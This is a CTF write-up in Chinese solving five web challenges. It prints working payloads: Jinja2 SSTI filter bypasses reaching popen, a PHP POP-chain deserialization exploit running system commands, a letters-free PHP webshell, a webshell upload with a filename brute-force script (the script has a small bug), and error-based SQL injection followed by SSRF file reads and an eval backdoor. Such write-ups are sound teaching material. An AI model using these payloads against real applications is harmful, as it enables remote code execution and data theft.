SSTI
打开环境查看源码发现给SI get传参
题目提示为SSTI 那么我们就使用SSTI模板注入
首先简单说一下什么是SSTI(Server-Side Template Injection);即模板注入,与我们熟知的SQL注入、命令注入等原理大同小异。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑;
漏洞成因在于:render_template函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。
利用流程
获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块
常用函数
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
那么我们试着输入{{1*2}}
出现非法字符 那么我们就进行fuzz测试看看过滤的哪些字符
发现过滤了{{ .等字符 那我们就要考虑如何进行绕过 我们采用[]和单引号绕过
我们先看看全部的子类
Paylaod:?SI={%print(""['__cl''ass__']['__bas''es__'][0]['__subcla''sses__']())%}
我们直接查找wrap查看是否已经承载,只要不出现wrapper ,就是是被重载过的。
出现wrap 那我们可以全局变量中的popen的函数方法来查看目录
Paylaod:
?SI={%print(""['__cl''ass__']['__bas''es__'][0]['__subcla''sses__']()[132]['__in''it__']['__glo''bals__']['po''pen']('ls /').read())%}
发现f1ag 使用cat查看就可以了
兔年大吉
打开环境
又是要审计代码 构造思路
POP链构造思路
- 首先发现Happy类中有call_user_func代码执行函数,条件为触发__call()
- Nevv中存在调用不可调用的check()方法, 条件为触发__invoke()
- 在Year 类中发现$name()可触发invoke方法,条件为触发__get()
- 在Rabbit类中family为不可访问属性,触发__get(),条件为触发__set()
- 在Year 类方法中发现firecrackers()可触发__set() ,条件为类属性key="happy new year"
由于private存在,因此构造payload的php就需要添加构造函数
代码如下:
<?php
class Happy{
private $cmd="system";
private $content="tac /f*";
}
class Nevv{
private $happiness;
public function __construct($happiness)
{
$this->happiness = $happiness;
}
}
class Rabbit{
private $aspiration;
public function __construct($aspiration)
{
$this->aspiration = $aspiration;
}
}
class Year{
public $key= "happy new year";
public $rabbit;
}
$year = new Year;
$year1 = new Year;
$happy = new Happy;
$rabbit = new Rabbit($year1);
$year->rabbit = $rabbit;
$nevv = new Nevv($happy);
$year1->rabbit = $nevv;
echo urlencode(serialize($year));
生成paylaod:
?pop=O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A7%3A%22tac+%2Ff%2A%22%3B%7D%7D%7D%7D%7D
得到flag
ezbypass
打开环境 又是要审计代码
这道题和RCE极限大挑战题目几乎一模一样 那我们进行分析
基本把能用的都过滤了,只剩下$()_+;[],.=/字符
长度要小于105
那么这道题就要使用rce自增
具体:一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
解法的话,就是可以用到PHP中的NAN和INF:
NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。
INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。
Paylaod:
$%DF=(_/_._)['!'=='_'];$_=%2B%2B$%DF;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE[__]($$%DE[_]);&__=system&_=cat /flag
含义:
$%DF=(_/_._)[‘!’==’_’];//NAN
$_=++$%DF;//O
$%DE=_;//_
$%DE.=++$_.$%DF;//_P
$_++;//Q
$_++;//R
$%DE.=++$_;//_POS
$%DE.=++$_;//_POST
$$%DE[__]($$%DE[_]);//$_POST[__]($_POST[_])
得到flag
ezupload
打开环境 是个文件上传还有一些源码 我们先分析源码
这里说明很多php拓展名文件后缀被过滤 但php没有被过滤
我们传上去的文件会被重命名移动到upload’.‘/’.date(“His”).rand(114,514).$file_ext
本地生成date
我们先上传个小马 结果发现php文件能够上传但是要爆破文件名,文件名和时间戳有关
,就是date加随机数改了个文件名,我们可以在本地搭个一样的来得到文件名,然后往后爆破就能得到上传路径的文件了
这里注意手速一定要快,要不然要多爆破好久,检验代码如下:
import requests
url = 'http://095468b8-416d-4ea2-9f71-cb0cb7ab617e.ctf.qsnctf.com:8080/upload/'
for i in range('本地文件名', '比本地文件名大就行'):
urls = url + str(i) + ".php"
r = requests.get(url)
if r.status_code == 404:
continue
else:
print(urls)
跑出来文件名就可以连antsward了
ezphp
首先打开页面是个登入页面 然后输入admin/admin 显示密码错误 然后我们进行注入 发现输入admin’的时候出现注入报错 最终经过测试 我们使用的是报错注入,这道题过滤了空格我们使用/**/进行绕过、select进行双写绕过,flag进行RE绕过最终的payload:
admin'/**/and/**/updatexml(1,(concat(0x7e,(selselectect/**/group_concat(Password)/**/from/**/admin),0x7e)),1)#
这样我们就获得了登入密码
0909876qwe222
登入进去 是个url网址 这里自然就想到ssrf漏洞 我们先输入个127.0.0.1试试
审计代码:直接发现最下面有个x9sd.php文件那我们进行读取就可以了
输入payload: url=file:///var/www/html/x9sd.php
得到新的源码
审计代码
条件这么清楚 那我们直接构造脚本
<?php
class a {
protected $cmd;
function __construct($tmp)
{
$this->cmd = $tmp;
}
}
if(isset($_GET['username']) && isset($_GET['unserx'])){
$var = base64_decode($_GET['unserx']);
if($_GET['username'] === "admin"){
echo "nonono?";
}
$username = urldecode($_GET['username']);
if($username === "admin"){
unserialize($var);
}
unserialize($var);
echo("success");
}else{
echo "I need some ???";
}$a = new a('eval($_POST[1]);');echo base64_encode(serialize($a));
?>
这样我们得到了base64加密的unserx 最终我们进行传参就饿可以了
得到flag